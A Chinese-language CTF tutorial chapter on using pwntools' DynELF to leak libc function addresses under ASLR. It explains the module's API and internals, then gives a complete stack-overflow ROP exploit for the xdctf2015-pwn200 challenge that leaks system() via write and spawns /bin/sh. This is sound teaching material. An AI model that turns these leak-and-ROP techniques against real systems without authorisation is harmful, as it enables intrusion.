# 4.8 使用 DynELF 泄露函数地址

* [DynELF 简介](#dynelf-简介)
* [DynELF 原理](#dynelf-原理)
* [DynELF 实例](#dynelf-实例)
* [参考资料](#参考资料)

## DynELF 简介

在做漏洞利用时，由于 ASLR 的影响，我们在获取某些函数地址的时候，需要一些特殊的操作。一种方法是先泄露出 libc.so 中的某个函数，然后根据函数之间的偏移，计算得到我们需要的函数地址，这种方法的局限性在于我们需要能找到和目标服务器上一样的 libc.so，而有些特殊情况下往往并不能找到。而另一种方法，利用如 pwntools 的 DynELF 模块，对内存进行搜索，直接得到我们需要的函数地址。

官方文档里给出了下面的例子：

```python
# Assume a process or remote connection
p = process('./pwnme')

# Declare a function that takes a single address, and
# leaks at least one byte at that address.
def leak(address):
    data = p.read(address, 4)
    log.debug("%#x => %s" % (address, (data or '').encode('hex')))
    return data

# For the sake of this example, let's say that we
# have any of these pointers.  One is a pointer into
# the target binary, the other two are pointers into libc
main   = 0xfeedf4ce
libc   = 0xdeadb000
system = 0xdeadbeef

# With our leaker, and a pointer into our target binary,
# we can resolve the address of anything.
#
# We do not actually need to have a copy of the target
# binary for this to work.
d = DynELF(leak, main)
assert d.lookup(None,     'libc') == libc
assert d.lookup('system', 'libc') == system

# However, if we *do* have a copy of the target binary,
# we can speed up some of the steps.
d = DynELF(leak, main, elf=ELF('./pwnme'))
assert d.lookup(None,     'libc') == libc
assert d.lookup('system', 'libc') == system

# Alternately, we can resolve symbols inside another library,
# given a pointer into it.
d = DynELF(leak, libc + 0x1234)
assert d.lookup('system')      == system
```

可以看到，为了使用 DynELF，首先需要有一个 `leak(address)` 函数，通过这一函数可以获取到某个地址上最少 1 byte 的数据，然后将这个函数作为参数调用 `d = DynELF(leak, main)`，该模块就初始化完成了，然后就可以使用它提供的函数进行内存搜索，得到我们需要的函数地址。

类 DynELF 的初始化方法如下：

```python
def __init__(self, leak, pointer=None, elf=None, libcdb=True):
```

* `leak`：leak 函数，它是一个 `pwnlib.memleak.MemLeak` 类的实例
* `pointer`：一个指向 libc 内任意地址的指针
* `elf`：elf 文件
* `libcdb`：libcdb 是一个作者收集的 libc 库，默认启用以加快搜索。

导出的类方法如下：

* `base()`：解析所有已加载库的基地址
* `static find_base(leak, ptr)`：提供一个 `pwnlib.memleak.MemLeak`对象和一个指向库内的指针，然后找到其基地址
* `heap()`：通过 `__curbrk`（链接器导出符号，指向当前brk）找到堆的起始地址
* `lookup(symb=None, lib=None)`：找到 lib 中 symbol 的地址
* `stack()`：通过 `__environ`（libc导出符号，指向environment block）找到一个指向栈的指针
* `dynamic()`：返回指向 `.DYNAMIC` 的指针
* `elfclass`：32 或 64 位
* `elftype`：elf 文件类型
* `libc`：泄露 build id，下载该文件并加载
* `link_map`：指向运行时 link\_map 对象的指针

## DynELF 原理

文档中大概说了下其实现的细节，配合参考资料的文章，大概就可以做到自己实现一个。

DynELF 使用了两种技术：

* 解析函数
  * ELF 文件会从如 libc.so 库中导入符号，有一系列的表给出了导出符号名、导出符号地址和导出符号的哈希值。通过对某个符号名做哈希，可以定位到哈希表中，然后哈希表的位置又提供了字符串表（strtab）和符号表（symtab）的索引。
  * 假设我们有了 libc.so 的基地址，解析 printf 地址的方法是定位 symtab、strtab 和 hash 表。对字符串"printf"做哈希，然后定位到哈希表中的某一条，然后从 symtab 中得到其在 libc.so 的偏移。
* 解析库地址
  * 如果我们有一个指向动态链接的可执行文件的指针，就可以利用一个称为 link map 的内部链接器结构。这是一个链表结构，包含了每个被加载的库的信息，包括完整路径和基地址。
  * 有两种方法可以找到这个指向 link map 的指针。两者都是从 DYNAMIC 数组条目中得到的。
    * 在 non-RELOAD 的二进制文件中，该指针在 `.got.plt` 区域中。这是通过 `DT_PLTGOT` 找到的。
    * 在所有二进制文件中，可以在 `DT_DEBUG` 描述的区域中找到该指针，甚至在 stripped 之后也不例外。

## DynELF 实例

在 libc 中，我们通常使用 `write`、`puts`、`printf` 来打印指定内存的数据。

### write

```
#include <unistd.h>

ssize_t write(int fd, const void *buf, size_t count);
```

write 函数用于向文件描述符中写入数据，三个参数分别是文件描述符，一个指针指向的数据和写入数据的长度。该函数的优点是可以读取任意长度的内存数据，即打印数据的长度只由 count 控制，缺点则是需要传递 3 个参数。32 位程序通过栈传递参数，直接将参数布置在栈上就可以了，而 64 位程序首先使用寄存器传递参数，所以我们通常使用通用 gadget（参见章节4.7） 来为 write 函数传递参数。

例子是 xdctf2015-pwn200，[文件地址](https://github.com/firmianay/CTF-All-In-One/blob/master/src/writeup/6.2_pwn_xdctf2015_pwn200)。在这个程序中也只有 write 可以利用：

```
$ rabin2 -R pwn200
...
vaddr=0x0804a004 paddr=0x00001004 type=SET_32 read
vaddr=0x0804a010 paddr=0x00001010 type=SET_32 write
```

另外我们还需要 read 函数用于读入 '/bin/sh\` 到 .bss 段中：

```
$ readelf -S pwn200 | grep .bss
  [25] .bss              NOBITS          0804a020 00101c 00002c 00  WA  0   0 32
```

栈溢出漏洞很明显，偏移为 112：

```
gdb-peda$ pattern_offset 0x41384141
1094205761 found at offset: 112
```

在 r2 中对程序进行分析，发现一个漏洞函数，地址为 `0x08048484`：

```
[0x080483d0]> pdf @ sub.setbuf_484
/ (fcn) sub.setbuf_484 58
|   sub.setbuf_484 ();
|           ; var int local_6ch @ ebp-0x6c
|           ; var int local_4h @ esp+0x4
|           ; var int local_8h @ esp+0x8
|              ; CALL XREF from 0x0804855f (main)
|           0x08048484      55             push ebp
|           0x08048485      89e5           mov ebp, esp
|           0x08048487      81ec88000000   sub esp, 0x88
|           0x0804848d      a120a00408     mov eax, dword [obj.stdin]  ; [0x804a020:4]=0
|           0x08048492      8d5594         lea edx, [local_6ch]
|           0x08048495      89542404       mov dword [local_4h], edx
|           0x08048499      890424         mov dword [esp], eax
|           0x0804849c      e8dffeffff     call sym.imp.setbuf         ; void setbuf(FILE *stream,
|           0x080484a1      c74424080001.  mov dword [local_8h], 0x100 ; [0x100:4]=-1 ; 256
|           0x080484a9      8d4594         lea eax, [local_6ch]
|           0x080484ac      89442404       mov dword [local_4h], eax
|           0x080484b0      c70424000000.  mov dword [esp], 0
|           0x080484b7      e8d4feffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x080484bc      c9             leave
\           0x080484bd      c3             ret
```

于是我们构造 leak 函数如下，即 `write(1, addr, 4)`：

```python
def leak(addr):
    payload  = "A" * 112
    payload += p32(write_plt)
    payload += p32(vuln_addr)
    payload += p32(1)
    payload += p32(addr)
    payload += p32(4)
    io.send(payload)
    data = io.recv()
    log.info("leaking: 0x%x --> %s" % (addr, (data or '').encode('hex')))
    return data

d = DynELF(leak, elf=elf)
system_addr = d.lookup('system', 'libc')
log.info("system address: 0x%x" % system_addr)
```

注意我们需要一个 pppr 的 gadget 来平衡栈：

```
$ ropgadget --binary pwn200 --only "pop|ret"
...
0x0804856c : pop ebx ; pop edi ; pop ebp ; ret
```

得到了 system 的地址，就可以利用 read 函数读入 "/bin/sh"，从而得到 shell，完整的 exp 如下：

```python
from pwn import *

# context.log_level = 'debug'

elf = ELF('./pwn200')
io = process('./pwn200')
io.recvline()

write_plt = elf.plt['write']
write_got = elf.got['write']
read_plt = elf.plt['read']
read_got = elf.got['read']

vuln_addr = 0x08048484
start_addr = 0x080483d0
bss_addr = 0x0804a020
pppr_addr = 0x0804856c

def leak(addr):
    payload  = "A" * 112
    payload += p32(write_plt)
    payload += p32(vuln_addr)
    payload += p32(1)
    payload += p32(addr)
    payload += p32(4)
    io.send(payload)
    data = io.recv()
    log.info("leaking: 0x%x --> %s" % (addr, (data or '').encode('hex')))
    return data
d = DynELF(leak, elf=elf)
system_addr = d.lookup('system', 'libc')
log.info("system address: 0x%x" % system_addr)

payload  = "A" * 112
payload += p32(read_plt)
payload += p32(pppr_addr)
payload += p32(0)
payload += p32(bss_addr)
payload += p32(8)
payload += p32(system_addr)
payload += p32(vuln_addr)
payload += p32(bss_addr)

io.send(payload)
io.send('/bin/sh\x00')
io.interactive()
```

该题除了这里使用 DynELF 的方法，在后面章节 6.3 中，还会介绍一种使用 ret2dl-resolve 的解法。

### puts

```
#include <stdio.h>

int puts(const char *s);
```

puts 函数使用的参数只有一个，即需要输出的数据的起始地址，它会一直输出直到遇到 `\x00`，所以它输出的数据长度是不容易控制的，我们无法预料到零字符会出现在哪里，截止后，puts 还会自动在末尾加上换行符 。该函数的优点是在 64 位程序中也可以很方便地使用。缺点是会受到零字符截断的影响，在写 leak 函数时需要特殊处理，在打印出的数据中正确地筛选我们需要的部分，如果打印出了空字符串，则要手动赋值`\x00`，包括我们在 dump 内存的时候，也常常受这个问题的困扰，可以参考章节 6.1 dump 内存的部分。

所以我们常常需要这样做：

```python
data = io.recv()[:-1]   # 去掉末尾\n
if not data:
    data = '\x00'
else:
    data = data[:4]
```

这只是个例子，还是要具体情况具体分析。

### printf

```
#include <stdio.h>

int printf(const char *format, ...);
```

该函数常用于在格式化字符串中泄露内存，和 puts 差不多，也受到 `\x00` 的影响，只是没有在末尾自动添加 。而且还有个问题要注意，为了防止 printf 的 `%s` 被 `\x00` 截断，需要对格式化字符串做一些改变。更详细的内容请参考章节 6.2。

## 参考资料

* [Resolving remote functions using leaks](https://docs.pwntools.com/en/stable/dynelf.html)
* [Finding Function's Load Address](http://uaf.io/exploitation/misc/2016/04/02/Finding-Functions.html)
* [借助DynELF实现无libc的漏洞利用小结](http://bobao.360.cn/learning/detail/3298.html)
